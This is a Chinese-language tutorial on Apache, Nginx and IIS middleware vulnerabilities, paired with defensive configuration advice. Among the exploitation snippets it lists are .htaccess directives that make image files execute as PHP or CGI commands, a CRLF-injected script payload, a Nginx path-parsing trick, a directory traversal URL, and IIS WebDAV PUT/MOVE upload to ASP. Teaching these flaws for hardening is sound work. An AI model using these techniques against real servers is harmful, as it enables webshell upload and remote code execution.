apache nginx iis中间件漏洞
字数 1469 2025-08-10 08:28:21
Apache、Nginx、IIS中间件漏洞详解
一、Apache中间件漏洞
1. PHP运行模式
Apache中PHP常见运行方式:
-
模块模式:
- mod_php:Apache内置PHP模块,将PHP作为子模块运行
- mod_cgi/mod_fcgid:使用CGI或Fast-CGI实现
-
CGI模式:
- 每次请求都有启动和退出过程,性能较差
- Fast-CGI解决CGI性能问题,预先启动多个解释器进程
2. 文件解析漏洞
多后缀解析
- 配置方式:
AddHandler php5-script .jpg AddType application/x-httpd-php .jpg - 可解析的后缀:
.php,.php3,.php4,.php5,.pht,.phtml
.htaccess利用
生效条件:CGI/FastCGI模式(在phpinfo中的Server API查看)
配置方式:
-
将jpg解析为php:
AddHandler fcgid-script .jpg FcgidWrapper "php-cgi路径" .jpg -
命令执行:
Options +ExecCGI AddHandler cgi-script .jpg配合文件内容:
#!cmd路径 /c start notepad test -
直接执行命令:
AddHandler fcgid-script .jpg FcgidWrapper "cmd路径 /c start calc.exe" .jpg -
目录下所有文件视为CGI:
SetHandler cgi-script
其他利用方式
-
文件包含:
php_value auto_prepend_file "test.jpg" # 文件开始插入 php_value auto_append_file "test.jpg" # 文件结束插入可使用伪协议:
php_value auto_prepend_file php://filter/convert.base64-decode/resource=test.jpg -
绕过preg_match:
php_value pcre.backtrack_limit 0 php_value pcre.jit 0 -
反斜线绕过:
SetHa\ ndler appli\ cation/x-ht\ tpd-php
3. 防御措施
- 修改匹配规则:
<FileMatch ".+\.php$"> SetHandler application/x-httpd-php </FileMatch> - 禁止特殊后缀:
<FileMatch ".+\.ph(p[3457]?|t|tml)\."> Require all denied </FileMatch>
二、Nginx中间件漏洞
1. 文件名解析漏洞
影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
利用方式:
- 上传
1.jpg(空格结尾) - 访问
1.jpg[0x20][0x00].php
2. 文件后缀解析
利用条件:
- 关闭
security.limit_extensions或添加.jpg php.ini中设置cgi.fix_pathinfo=1
利用方式:
访问test.jpg/x.php(x随意)
3. CRLF注入
错误配置:
location / {
return 302 https://$host$uri;
}
利用方式:
访问/%0d%0a%0d%0a<script>alert(1)</script>
4. 目录穿越
错误配置:
location /files {
autoindex on;
alias /home/;
}
利用方式:
访问files../
5. add_header覆盖
错误配置:
子块中的add_header会覆盖父块配置
三、IIS中间件漏洞
1. CVE-2017-7269
影响版本:IIS 6.0(开启WebDAV)
利用方式:
- 使用Metasploit模块
- 需要设置
PhysicalPathLength(如c:\inetpub\wwwroot\为19)
2. PUT漏洞
条件:
- IIS 6.0
- 开启WebDAV和来宾用户写权限
利用步骤:
- PUT上传txt文件
- MOVE修改为asp文件
3. 短文件名猜测
影响版本:IIS 1.0-7.5(使用.Net Framework 4时不受影响)
原理:
- 访问存在的短文件名返回404,不存在的返回400
- 只能猜解前6字符和后缀3字符
4. 后缀解析漏洞
可解析后缀:.cer, .asa, .cdx(部分版本仅.cer)
其他利用:
xxx.asp/目录下所有文件按ASP解析;截断:xxx.asp;.txt
5. PHP解析漏洞
利用方式:
- 类似Nginx,访问
test.jpg/.php - 需要
cgi.fix_pathinfo=1
四、防御建议
Apache防御:
- 严格限制文件解析规则
- 禁用不必要的CGI执行
- 限制.htaccess使用
Nginx防御:
- 关闭
cgi.fix_pathinfo - 配置
security.limit_extensions - 避免使用不安全的跳转
IIS防御:
- 及时安装补丁
- 关闭WebDAV
- 禁用短文件名
- 限制可执行文件类型